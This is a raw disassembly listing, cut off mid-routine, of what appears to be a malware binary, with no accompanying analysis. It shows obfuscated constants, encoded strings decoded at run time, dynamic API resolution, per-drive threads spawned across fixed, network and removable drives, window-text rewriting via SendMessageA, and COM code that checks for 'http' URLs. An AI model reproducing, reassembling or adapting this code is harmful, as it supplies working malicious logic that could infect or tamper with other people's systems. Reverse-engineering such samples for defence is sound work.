retn 24h
sub_43E40A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43E5D5 proc near ; CODE XREF: sub_443589+19Bp
; sub_443589+1BCp
var_4F = byte ptr -4Fh
var_1D = byte ptr -1Dh
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 50h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
call ds:dword_44A770 ; GetTickCount
mov [ebp+var_8], eax
mov esi, dword_44B124
dec esi
jmp short loc_43E632
; ---------------------------------------------------------------------------
loc_43E5F3: ; CODE XREF: sub_43E5D5+6Fj
cmp ds:dword_446130[esi*4], 0
jz short loc_43E631
mov edx, ds:dword_449660[esi*4]
movsx ecx, word_44B180
add ecx, 0EA5Ah
mov eax, dword_44B138
add eax, dword_44B0EC
sub eax, 8
imul ecx, eax
add edx, ecx
cmp edx, [ebp+var_8]
jnb short loc_43E631
and ds:dword_446130[esi*4], 0
loc_43E631: ; CODE XREF: sub_43E5D5+26j
; sub_43E5D5+52j
inc esi
loc_43E632: ; CODE XREF: sub_43E5D5+1Cj
mov eax, dword_44B0A8
add eax, 3E4h
add eax, dword_44B0D4
cmp esi, eax
jb short loc_43E5F3
loc_43E646: ; CODE XREF: sub_43E5D5+94j
; sub_43E5D5+266j
mov eax, [ebx]
mov [ebp+var_14], eax
lea ebx, [ebx+eax]
mov eax, ebx
sub eax, [ebp+arg_0]
cmp eax, [ebp+arg_4]
jnb loc_43E841
movsx eax, word_44B0E0
add eax, 4
cmp [ebp+var_14], eax
ja short loc_43E646
mov ecx, ebx
or eax, 0FFFFFFFFh
loc_43E670: ; CODE XREF: sub_43E5D5+A0j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43E670
mov [ebp+var_10], eax
mov eax, ebx
sub eax, [ebp+arg_0]
mov edx, dword_44B10C
sub edx, 3
sub eax, edx
mov [ebp+var_C], eax
mov [ebp+var_1], 44h
movsx eax, word_44B0E0
movsx edx, word_44B19C
add eax, edx
sub eax, 6
cmp byte ptr [ebx+eax], 2Ah
jnz short loc_43E6AE
mov [ebp+var_1], 43h
loc_43E6AE: ; CODE XREF: sub_43E5D5+D3j
mov edi, dword_44B138
sub edi, 8
jmp short loc_43E6E0
; ---------------------------------------------------------------------------
loc_43E6B9: ; CODE XREF: sub_43E5D5+120j
cmp ds:dword_446130[edi*4], 0
jz short loc_43E6DF
mov edx, [ebp+var_C]
cmp ds:dword_445060[edi*4], edx
jnz short loc_43E6DF
mov dl, ds:byte_447200[edi]
cmp dl, [ebp+var_1]
jz loc_43E825
loc_43E6DF: ; CODE XREF: sub_43E5D5+ECj
; sub_43E5D5+F8j
inc edi
loc_43E6E0: ; CODE XREF: sub_43E5D5+E2j
mov eax, dword_44B130
add eax, 3E4h
movsx edx, word_44B110
add eax, edx
cmp edi, eax
jb short loc_43E6B9
mov eax, dword_44B13C
add eax, 3BEh
cmp [ebp+var_10], eax
jbe loc_43E7D7
mov eax, dword_44B1B0
add eax, 9
movsx edx, word_44B180
add eax, edx
push eax
lea eax, [ebp+var_4F]
push eax
call sub_44244A
add esp, 8
mov eax, dword_44B0F8
add eax, 3B5h
movsx edx, word_44B100
add eax, edx
mov [ebp+var_18], eax
movsx eax, word_44B0BC
sub eax, 9
mov [ebp+var_1C], eax
loc_43E74B: ; CODE XREF: sub_43E5D5+1FDj
mov eax, [ebp+var_18]
mov al, [ebx+eax]
mov [ebp+var_1D], al
mov eax, [ebp+var_18]
mov edx, dword_44B13C
add edx, dword_44B12C
sub edx, 7
mov [ebx+eax], dl
push offset dword_446020
push [ebp+var_10]
push [ebp+var_1C]
lea eax, [ebp+var_4F]
push eax
mov eax, [ebp+arg_C]
push dword ptr [eax]
push [ebp+arg_0]
push ebx
push [ebp+arg_8]
mov eax, dword_44B178
add eax, dword_44B198
sub eax, 0Bh
and eax, 0FFh
push eax
call sub_43D8A3
add esp, 24h
mov eax, [ebp+var_18]
mov dl, [ebp+var_1D]
mov [ebx+eax], dl
mov [ebp+var_1C], eax
mov eax, dword_44B094
add eax, 3B7h
add eax, dword_44B1C0
add [ebp+var_18], eax
mov eax, [ebp+var_10]
cmp [ebp+var_18], eax
jbe short loc_43E7CA
mov [ebp+var_18], eax
loc_43E7CA: ; CODE XREF: sub_43E5D5+1F0j
mov eax, [ebp+var_10]
cmp [ebp+var_1C], eax
jnb short loc_43E820
jmp loc_43E74B
; ---------------------------------------------------------------------------
loc_43E7D7: ; CODE XREF: sub_43E5D5+12Fj
push offset byte_44C4BF
call sub_4424C1
push offset dword_446020
push [ebp+var_10]
movsx edx, word_44B110
add edx, dword_44B184
sub edx, 0Ah
push edx
push eax
mov edx, [ebp+arg_C]
push dword ptr [edx]
push [ebp+arg_0]
push ebx
push [ebp+arg_8]
movsx edx, word_44B0C8
sub edx, 7
and edx, 0FFh
push edx
call sub_43D8A3
add esp, 28h
loc_43E820: ; CODE XREF: sub_43E5D5+1FBj
mov eax, [ebp+arg_C]
inc dword ptr [eax]
loc_43E825: ; CODE XREF: sub_43E5D5+104j
mov eax, [ebp+var_10]
lea ebx, [ebx+eax]
inc ebx
mov eax, [ebp+arg_C]
movsx edx, word_44B180
add edx, 0Eh
cmp [eax], edx
jbe loc_43E646
loc_43E841: ; CODE XREF: sub_43E5D5+81j
push offset byte_44C4BB
call sub_4424C1
push offset dword_446020
mov edx, dword_44B0EC
sub edx, 5
push edx
mov edx, dword_44B0F0
add edx, dword_44B14C
sub edx, 0Ah
push edx
push eax
mov edx, dword_44B0B4
sub edx, 8
push edx
push 0
push 0
push [ebp+arg_8]
mov edx, dword_44B164
movsx ecx, word_44B0D8
add edx, ecx
sub edx, 4
and edx, 0FFh
push edx
call sub_43D8A3
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_43E5D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_43E8A2 proc near ; DATA XREF: sub_442C0A+222o
var_28 = byte ptr -28h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_E = byte ptr -0Eh
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
mov esi, 43h
jmp short loc_43E8BB
; ---------------------------------------------------------------------------
loc_43E8B2: ; CODE XREF: sub_43E8A2+1Cj
and ds:dword_44A790[esi*4], 0
inc esi
loc_43E8BB: ; CODE XREF: sub_43E8A2+Ej
cmp esi, 5Ah
jbe short loc_43E8B2
loc_43E8C0: ; CODE XREF: sub_43E8A2+19Bj
mov edi, 43h
jmp loc_43EA22
; ---------------------------------------------------------------------------
loc_43E8CA: ; CODE XREF: sub_43E8A2+183j
movsx eax, word_44B128
add eax, dword_44B1C0
sub eax, 3
push eax
call ds:dword_44A630
push offset byte_44C4B3
call sub_4424C1
push edi
push eax
lea ebx, [ebp+var_E]
push ebx
call ds:dword_44A634
add esp, 14h
cmp ds:dword_44A790[edi*4], 0
jz short loc_43E944
mov eax, dword_44B140
add eax, dword_44B184
sub eax, 0Eh
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
push eax
push ds:dword_44A790[edi*4]
call ds:dword_44A64C ; GetExitCodeThread
cmp [ebp+var_14], 103h
jz short loc_43E944
push ds:dword_44A790[edi*4]
call ds:dword_449650 ; CloseHandle
and ds:dword_44A790[edi*4], 0
loc_43E944: ; CODE XREF: sub_43E8A2+60j
; sub_43E8A2+8Bj
lea eax, [ebp+var_E]
push eax
call ds:dword_44A664 ; GetDriveTypeA
mov [ebp+var_4], eax
cmp eax, 3
jz short loc_43E98D
cmp eax, 4
jz short loc_43E98D
cmp eax, 2
jz short loc_43E98D
cmp ds:dword_44A790[edi*4], 0
jz loc_43EA21
movsx ebx, word_44B1BC
movsx edx, word_44B19C
add ebx, edx
sub ebx, 0Ch
mov ds:dword_447630[edi*4], ebx
jmp loc_43EA21
; ---------------------------------------------------------------------------
loc_43E98D: ; CODE XREF: sub_43E8A2+B2j
; sub_43E8A2+B7j ...
push 1
call ds:dword_446000 ; SetErrorMode
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_E]
push eax
call ds:dword_4470D4 ; GetDiskFreeSpaceA
mov ebx, dword_44B190
sub ebx, 3
cmp eax, ebx
jnz short loc_43E9D8
cmp ds:dword_44A790[edi*4], 0
jz short loc_43EA21
mov ebx, dword_44B1C0
sub ebx, 3
mov ds:dword_447630[edi*4], ebx
jmp short loc_43EA21
; ---------------------------------------------------------------------------
loc_43E9D8: ; CODE XREF: sub_43E8A2+118j
cmp ds:dword_44A790[edi*4], 0
jnz short loc_43EA21
mov ds:dword_447630[edi*4], edi
lea eax, [ebp+var_28]
push eax
movsx eax, word_44B194
push eax
lea ebx, ds:447630h[edi*4]
push ebx
push offset sub_43B4C6
mov ebx, dword_44B134
add ebx, dword_44B178
sub ebx, 6
push ebx
push 0
call ds:dword_44AB90 ; CreateThread
mov ds:dword_44A790[edi*4], eax
loc_43EA21: ; CODE XREF: sub_43E8A2+C6j
; sub_43E8A2+E6j ...
inc edi
loc_43EA22: ; CODE XREF: sub_43E8A2+23j
cmp edi, 5Ah
jbe loc_43E8CA
movsx eax, word_44B0B0
sub eax, 8
push eax
call ds:dword_44A630
pop ecx
jmp loc_43E8C0
sub_43E8A2 endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 4
; =============== S U B R O U T I N E =======================================
sub_43EA49 proc near ; DATA XREF: .data:0044B2C8o
mov eax, 80004001h
retn 18h
sub_43EA49 endp
; =============== S U B R O U T I N E =======================================
sub_43EA51 proc near ; CODE XREF: sub_442C0A+Cp
push edi
push offset byte_44C4A5
call sub_4424C1
pop ecx
push eax
call ds:dword_4475E8 ; GetModuleHandleA
mov dword_44B1DC, eax
test eax, eax
jnz short loc_43EA84
push offset byte_44C497
call sub_4424C1
pop ecx
push eax
call ds:dword_448244 ; LoadLibraryA
mov dword_44B1DC, eax
loc_43EA84: ; CODE XREF: sub_43EA51+1Aj
push offset dword_44C484
call sub_4424C1
push eax
push dword_44B1DC
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44A60C, eax
push offset byte_44C471
call sub_4424C1
push eax
push dword_44B1DC
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_449648, eax
push offset byte_44C45F
call sub_4424C1
push eax
push dword_44B1DC
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_447614, eax
push offset word_44C44E
call sub_4424C1
push eax
push dword_44B1DC
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_448224, eax
push offset word_44C43A
call sub_4424C1
push eax
push dword_44B1DC
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_445050, eax
push offset byte_44C429
call sub_4424C1
push eax
push dword_44B1DC
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_446010, eax
push offset word_44C412
call sub_4424C1
push eax
push dword_44B1DC
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_4475F0, eax
push offset byte_44C403
call sub_4424C1
push eax
push dword_44B1DC
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_448368, eax
push offset word_44C3F6
call sub_4424C1
push eax
push dword_44B1DC
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_445004, eax
push offset dword_44C3E4
call sub_4424C1
push eax
push dword_44B1DC
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44A628, eax
push offset byte_44C3D3
call sub_4424C1
push eax
push dword_44B1DC
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44A650, eax
push offset byte_44C3C1
call sub_4424C1
push eax
push dword_44B1DC
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44ABA4, eax
push offset word_44C3B2
call sub_4424C1
push eax
push dword_44B1DC
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_448220, eax
push offset byte_44C3A5
call sub_4424C1
push eax
push dword_44B1DC
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44A620, eax
push offset word_44C396
call sub_4424C1
push eax
push dword_44B1DC
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44A640, eax
push offset dword_44C388
call sub_4424C1
push eax
push dword_44B1DC
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_445040, eax
push offset word_44C376
call sub_4424C1
push eax
push dword_44B1DC
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_4470DC, eax
push offset word_44C366
call sub_4424C1
push eax
push dword_44B1DC
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_445014, eax
push offset word_44C35A
call sub_4424C1
push eax
push dword_44B1DC
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_447A40, eax
push offset word_44C34E
call sub_4424C1
push eax
push dword_44B1DC
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44A604, eax
push offset dword_44C33C
call sub_4424C1
push eax
push dword_44B1DC
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_4475F8, eax
push offset word_44C32A
call sub_4424C1
push eax
push dword_44B1DC
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44A654, eax
push offset dword_44C31C
call sub_4424C1
push eax
push dword_44B1DC
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44A658, eax
push offset dword_44C308
call sub_4424C1
push eax
push dword_44B1DC
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44A77C, eax
push offset byte_44C2F7
call sub_4424C1
push eax
push dword_44B1DC
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44A638, eax
push offset byte_44C2E1
call sub_4424C1
add esp, 68h
push eax
push dword_44B1DC
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_445048, eax
pop edi
retn
sub_43EA51 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43ED61 proc near ; CODE XREF: sub_43C256:loc_43C259p
var_252 = byte ptr -252h
var_236 = dword ptr -236h
var_114 = byte ptr -114h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
push ebp
mov ebp, esp
sub esp, 254h
push ebx
push esi
push edi
lea eax, [ebp+var_114]
push eax
mov eax, dword_44B190
add eax, dword_44B0F8
sub eax, 5
push eax
push 0
push 20h
push 0
call ds:dword_447A44
lea eax, [ebp+var_10]
push eax
call ds:dword_44825C ; GetSystemTime
mov eax, dword_44B0A0
movzx edx, [ebp+var_6]
movzx ecx, [ebp+var_8]
mov ebx, dword_44B09C
add ebx, 34h
imul ecx, ebx
add edx, ecx
movzx ecx, [ebp+var_A]
mov ebx, dword_44B158
add ebx, 18h
add ebx, dword_44B188
imul ecx, ebx
mov ebx, dword_44B134
add ebx, 39h
imul ecx, ebx
add edx, ecx
movzx ecx, [ebp+var_E]
mov ebx, dword_44B0A0
add ebx, 1Ah
imul ecx, ebx
mov ebx, dword_44B0D4
add ebx, 16h
add ebx, dword_44B0C0
imul ecx, ebx
movsx ebx, word_44B100
movsx esi, word_44B194
lea ebx, [ebx+esi+33h]
imul ecx, ebx
add edx, ecx
movzx ecx, [ebp+var_10]
movsx ebx, word_44B154
add ebx, 4
imul ecx, ebx
mov ebx, dword_44B094
add ebx, 16h
add ebx, dword_44B0A4
imul ecx, ebx
movsx ebx, word_44B19C
lea eax, [ebx+eax+0Eh]
imul ecx, eax
mov eax, dword_44B0CC
add eax, 36h
movsx ebx, word_44B150
add eax, ebx
imul ecx, eax
mov eax, edx
add eax, ecx
mov ds:dword_445024, eax
mov eax, dword_44B108
inc eax
mov [ebp+var_236], eax
lea esi, [ebp+var_252]
sub esp, 140h
mov edi, esp
mov ecx, 9Fh
rep movsw
lea edi, [ebp+var_114]
push edi
call sub_43DAAC
add esp, 144h
pop edi
pop esi
pop ebx
leave
retn
sub_43ED61 endp
; =============== S U B R O U T I N E =======================================
sub_43EE98 proc near ; DATA XREF: .data:0044B2ECo
mov eax, 80004001h
retn 18h
sub_43EE98 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43EEA0 proc near ; CODE XREF: sub_442318+5Fp
var_100B = byte ptr -100Bh
var_1005 = byte ptr -1005h
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1000h
call sub_444B40
push ebx
push esi
push edi
push offset byte_44C2CF
call sub_4424C1
pop ecx
push 0
push eax
push 0
push [ebp+arg_0]
call ds:dword_44A638 ; FindWindowExA
mov edi, eax
or edi, edi
jnz short loc_43EED2
mov edi, [ebp+arg_0]
loc_43EED2: ; CODE XREF: sub_43EEA0+2Dj
push offset byte_44C2B9
call sub_4424C1
pop ecx
push 0
push eax
push 0
push edi
call ds:dword_44A638 ; FindWindowExA
mov edi, eax
lea eax, [ebp+var_FFF]
push eax
push 0FFFh
push 0Dh
push edi
call ds:dword_445014 ; SendMessageA
movsx eax, word_44B0D0
cmp [ebp+eax+var_FFF], 20h
jnz short loc_43EF2D
mov eax, dword_44B1AC
movsx edx, word_44B0BC
add eax, edx
cmp [ebp+eax+var_100B], 20h
jz loc_43EFD2
loc_43EF2D: ; CODE XREF: sub_43EEA0+6Fj
mov eax, dword_44B17C
cmp [ebp+eax+var_1005], 68h
jnz short loc_43EF57
movsx eax, word_44B128
mov edx, dword_44B158
lea eax, [eax+edx+1]
cmp [ebp+eax+var_FFF], 74h
jz short loc_43EFD2
loc_43EF57: ; CODE XREF: sub_43EEA0+9Aj
lea ecx, [ebp+var_FFF]
or eax, 0FFFFFFFFh
loc_43EF60: ; CODE XREF: sub_43EEA0+C5j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43EF60
mov ebx, dword_44B12C
add ebx, 8
movsx edx, word_44B128
add ebx, edx
cmp eax, ebx
jb short loc_43EFD2
push offset dword_44C2B4
call sub_4424C1
movsx esi, word_44B114
add esi, 2
push esi
push eax
lea esi, [ebp+var_FFF]
push esi
call sub_43D744
add esp, 10h
movsx ebx, word_44B150
add ebx, 0FFFAh
cmp eax, ebx
jnz short loc_43EFD2
push offset word_44C2AE
call sub_4424C1
pop ecx
push eax
mov esi, dword_44B0C4
sub esi, 4
push esi
push 0Ch
push edi
call ds:dword_445014 ; SendMessageA
loc_43EFD2: ; CODE XREF: sub_43EEA0+87j
; sub_43EEA0+B5j ...
pop edi
pop esi
pop ebx
leave
retn
sub_43EEA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43EFD7 proc near ; CODE XREF: sub_43B780+1Bp
; sub_43D8A3+1A4p ...
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
cmp dword_44B1D0, 0
jnz short loc_43EFFF
push offset dword_44ABC0
call ds:dword_446008 ; InitializeCriticalSection
mov dword_44B1D0, 1
loc_43EFFF: ; CODE XREF: sub_43EFD7+11j
mov esi, dword_44B134
add esi, 3
movsx ebx, word_44B1A8
add esi, ebx
movzx ebx, byte ptr [edi]
movzx edx, byte ptr [edi+2]
movzx edx, dx
shl edx, 8
or ebx, edx
movzx ebx, bx
mov edx, dword_44B158
add edx, 2
imul ebx, edx
add esi, ebx
mov [ebp+var_4], si
movzx eax, [ebp+var_4]
mov edx, dword_44B0A4
add edx, 4
cmp eax, edx
jz loc_43F0E2
push offset dword_44ABC0
call ds:dword_44A65C ; RtlEnterCriticalSection
movsx eax, word_44B154
sub eax, 2
mov [ebp+var_2], ax
jmp short loc_43F08F
; ---------------------------------------------------------------------------
loc_43F065: ; CODE XREF: sub_43EFD7+C2j
movzx eax, [ebp+var_2]
add eax, edi
movsx edx, byte ptr [eax]
movsx ecx, byte ptr [edi+4]
xor edx, ecx
mov [eax], dl
movzx eax, [ebp+var_2]
mov edx, dword_44B0EC
add edx, dword_44B1B0
sub edx, 3
add eax, edx
mov [ebp+var_2], ax
loc_43F08F: ; CODE XREF: sub_43EFD7+8Cj
movzx eax, [ebp+var_2]
movzx edx, [ebp+var_4]
cmp eax, edx
jl short loc_43F065
movsx eax, word_44B0D8
movsx edx, word_44B16C
add eax, edx
sub eax, 9
movsx edx, word_44B148
sub edx, 3
mov [edi+eax], dl
movsx eax, word_44B150
add eax, dword_44B0FC
sub eax, 0Ah
mov edx, dword_44B1B8
sub edx, 3
mov [edi+eax], dl
push offset dword_44ABC0
call ds:dword_44964C ; RtlLeaveCriticalSection
loc_43F0E2: ; CODE XREF: sub_43EFD7+6Dj
lea eax, [edi+6]
pop edi
pop esi
pop ebx
leave
retn
sub_43EFD7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F0EA proc near ; CODE XREF: sub_4425A3+25p
var_71F0E = byte ptr -71F0Eh
var_71F0C = dword ptr -71F0Ch
var_71F07 = byte ptr -71F07h
var_70F08 = word ptr -70F08h
var_70F00 = dword ptr -70F00h
var_70EF8 = dword ptr -70EF8h
var_70EF4 = dword ptr -70EF4h
var_70EEF = byte ptr -70EEFh
var_60EF0 = word ptr -60EF0h
var_60EE8 = dword ptr -60EE8h
var_60EDD = byte ptr -60EDDh
var_60EDC = dword ptr -60EDCh
var_60ED8 = dword ptr -60ED8h
var_60ED4 = dword ptr -60ED4h
var_60ED0 = word ptr -60ED0h
var_60EC8 = dword ptr -60EC8h
var_60EC0 = dword ptr -60EC0h
var_60EBC = dword ptr -60EBCh
var_60EB8 = dword ptr -60EB8h
var_60EB4 = dword ptr -60EB4h
var_60EB0 = dword ptr -60EB0h
var_60EAC = dword ptr -60EACh
var_60EA8 = dword ptr -60EA8h
var_60EA4 = dword ptr -60EA4h
var_60E9F = byte ptr -60E9Fh
var_50EA3 = byte ptr -50EA3h
var_50EA0 = dword ptr -50EA0h
var_50E9B = byte ptr -50E9Bh
var_40EB8 = byte ptr -40EB8h
var_40EB0 = dword ptr -40EB0h
var_40EA8 = word ptr -40EA8h
var_40EA0 = dword ptr -40EA0h
var_40E9C = dword ptr -40E9Ch
var_40E98 = dword ptr -40E98h
var_40E94 = byte ptr -40E94h
var_40E90 = dword ptr -40E90h
var_40E8C = dword ptr -40E8Ch
var_40E88 = dword ptr -40E88h
var_40E84 = dword ptr -40E84h
var_40E80 = byte ptr -40E80h
var_40E78 = dword ptr -40E78h
var_40E70 = dword ptr -40E70h
var_40E6C = dword ptr -40E6Ch
var_40E68 = dword ptr -40E68h
var_40E64 = dword ptr -40E64h
var_40E60 = dword ptr -40E60h
var_40E5C = dword ptr -40E5Ch
var_40E57 = byte ptr -40E57h
var_40E56 = byte ptr -40E56h
var_40E55 = byte ptr -40E55h
var_40E54 = byte ptr -40E54h
var_30E58 = dword ptr -30E58h
var_30E54 = dword ptr -30E54h
var_30E50 = dword ptr -30E50h
var_30E4C = dword ptr -30E4Ch
var_30E48 = dword ptr -30E48h
var_30E44 = dword ptr -30E44h
var_30E3F = byte ptr -30E3Fh
var_30D40 = byte ptr -30D40h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 71F10h
call sub_444B40
push ebx
push esi
push edi
lea eax, [ebp+var_40E80]
push eax
call ds:dword_445038
lea eax, [ebp+var_40E94]
push eax
lea eax, [ebp+var_40E80]
push eax
push 9
mov eax, dword_44B15C
movsx edx, word_44B16C
add eax, edx
sub eax, 8
push eax
push [ebp+arg_0]
call ds:dword_448254
mov ebx, eax
movsx eax, word_44B0E0
cmp ebx, eax
jnz loc_43FEAC
mov eax, [ebp+var_40E78]
mov [ebp+var_40E64], eax
and [ebp+var_40E60], 0
lea eax, [ebp+var_40E60]
push eax
push offset dword_44C97C
mov eax, [ebp+var_40E64]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word_44B150
sub eax, 5
cmp ebx, eax
jnz loc_43FEAC
lea eax, [ebp+var_40E84]
push eax
mov eax, [ebp+var_40E60]
push eax
mov edi, [eax]
call dword ptr [edi+78h]
mov ebx, eax
mov eax, dword_44B124
dec eax
cmp ebx, eax
jnz loc_43FEA0
lea eax, [ebp+var_40E57]
push eax
push [ebp+var_40E84]
call sub_43A9C0
add esp, 8
mov edi, eax
inc edi
mov [ebp+var_40E98], edi
push [ebp+var_40E84]
call ds:dword_44ABA0
cmp [ebp+var_40E57], 68h
jnz short loc_43F1F7
cmp [ebp+var_40E56], 74h
jnz short loc_43F1F7
cmp [ebp+var_40E55], 74h
jnz short loc_43F1F7
cmp [ebp+var_40E54], 70h
jz short loc_43F1FC
loc_43F1F7: ; CODE XREF: sub_43F0EA+F0j
; sub_43F0EA+F9j ...
jmp loc_43FEA0
; ---------------------------------------------------------------------------
loc_43F1FC: ; CODE XREF: sub_43F0EA+10Bj
lea eax, [ebp+var_30E4C]
push eax
mov eax, [ebp+var_40E60]
push eax
mov edi, [eax]
call dword ptr [edi+94h]
mov ebx, eax
movsx eax, word_44B114
sub eax, 2
cmp ebx, eax
jz short loc_43F229
and [ebp+var_30E4C], 0
loc_43F229: ; CODE XREF: sub_43F0EA+136j
lea eax, [ebp+var_40E68]
push eax
mov eax, [ebp+var_40E60]
push eax
mov edi, [eax]
call dword ptr [edi+48h]
mov ebx, eax
mov eax, dword_44B138
movsx edx, word_44B150
add eax, edx
sub eax, 0Dh
cmp ebx, eax
jnz loc_43FEA0
lea eax, [ebp+var_40E6C]
push eax
push offset dword_44C8FC
mov eax, [ebp+var_40E68]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_44B1C8
sub eax, 2
cmp ebx, eax
jnz loc_43FE94
lea eax, [ebp+var_40E70]
push eax
mov eax, [ebp+var_40E6C]
push eax
mov edi, [eax]
call dword ptr [edi+5Ch]
mov ebx, eax
mov eax, dword_44B0C4
sub eax, 4
cmp ebx, eax
jnz loc_43FE88
lea eax, [ebp+var_40E90]
push eax
mov eax, [ebp+var_40E70]
push eax
mov edi, [eax]
call dword ptr [edi+20h]
mov ebx, eax
mov eax, dword_44B1CC
add eax, dword_44B14C
sub eax, 0Ah
cmp ebx, eax
jnz loc_43FE7C
mov eax, dword_44B118
add eax, dword_44B1CC
sub eax, 4
neg eax
mov [ebp+var_40E5C], eax
push offset dword_44C29C
call sub_43EFD7
push eax
call ds:dword_445044
mov [ebp+var_30E44], eax
push offset dword_44C28C
call sub_43EFD7
add esp, 8
push eax
call ds:dword_445044
mov [ebp+var_30E48], eax
lea eax, [ebp+var_40E57]
push eax
lea eax, [ebp+var_30D40]
push eax
call sub_444B60
loc_43F32F: ; CODE XREF: sub_43F0EA+D66j
and [ebp+var_40E88], 0
and [ebp+var_40E8C], 0
movsx eax, word_44B194
add eax, dword_44B0CC
neg eax
cmp [ebp+var_40E5C], eax
jnz short loc_43F3A2
lea eax, [ebp+var_30E54]
push eax
mov eax, [ebp+var_40E6C]
push eax
mov edi, [eax]
call dword ptr [edi+38h]
mov ebx, eax
mov eax, dword_44B0E4
movsx edx, word_44B148
add eax, edx
sub eax, 5
cmp ebx, eax
jnz loc_43FE3E
push offset byte_44C27D
call sub_4424C1
push eax
lea edi, [ebp+var_30D40]
push edi
call ds:dword_445020
add esp, 0Ch
jmp loc_43F4C8
; ---------------------------------------------------------------------------
loc_43F3A2: ; CODE XREF: sub_43F0EA+268j
mov [ebp+var_40EA8], 17h
mov eax, [ebp+var_40E5C]
mov [ebp+var_40EA0], eax
lea eax, [ebp+var_40EB8]
push eax
lea eax, [ebp+var_40EA8]
push eax
mov eax, [ebp+var_40E70]
push eax
mov esi, [eax]
call dword ptr [esi+1Ch]
lea eax, [ebp+var_40E88]
push eax
push offset dword_44C94C
push [ebp+var_40EB0]
mov edi, [ebp+var_40EB0]
mov edi, [edi]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word_44B150
movsx edx, word_44B110
add eax, edx
sub eax, 9
cmp ebx, eax
jnz loc_43FE3E
lea eax, [ebp+var_40E8C]
push eax
mov eax, [ebp+var_40E88]
push eax
mov edi, [eax]
call dword ptr [edi+0D0h]
mov ebx, eax
mov eax, dword_44B1B8
add eax, dword_44B138
sub eax, 0Bh
cmp ebx, eax
jz short loc_43F44A
mov eax, [ebp+var_40E88]
push eax
mov esi, [eax]
call dword ptr [esi+8]
jmp loc_43FE3E
; ---------------------------------------------------------------------------
loc_43F44A: ; CODE XREF: sub_43F0EA+34Dj
lea eax, [ebp+var_30E54]
push eax
mov eax, [ebp+var_40E8C]
push eax
mov edi, [eax]
call dword ptr [edi+38h]
mov ebx, eax
movsx eax, word_44B194
movsx edx, word_44B0B0
add eax, edx
sub eax, 8
cmp ebx, eax
jz short loc_43F493
mov eax, [ebp+var_40E8C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
mov eax, [ebp+var_40E88]
push eax
mov esi, [eax]
call dword ptr [esi+8]
jmp loc_43FE3E
; ---------------------------------------------------------------------------
loc_43F493: ; CODE XREF: sub_43F0EA+38Aj
push offset word_44C26E
call sub_4424C1
push [ebp+var_40E5C]
push eax
lea edi, [ebp+var_30E3F]
push edi
call ds:dword_44A634
lea eax, [ebp+var_30E3F]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_445020
add esp, 18h
loc_43F4C8: ; CODE XREF: sub_43F0EA+2B3j
lea eax, [ebp+var_30E58]
push eax
mov eax, [ebp+var_30E54]
push eax
mov edi, [eax]
call dword ptr [edi+24h]
mov ebx, eax
mov eax, dword_44B0B8
add eax, dword_44B15C
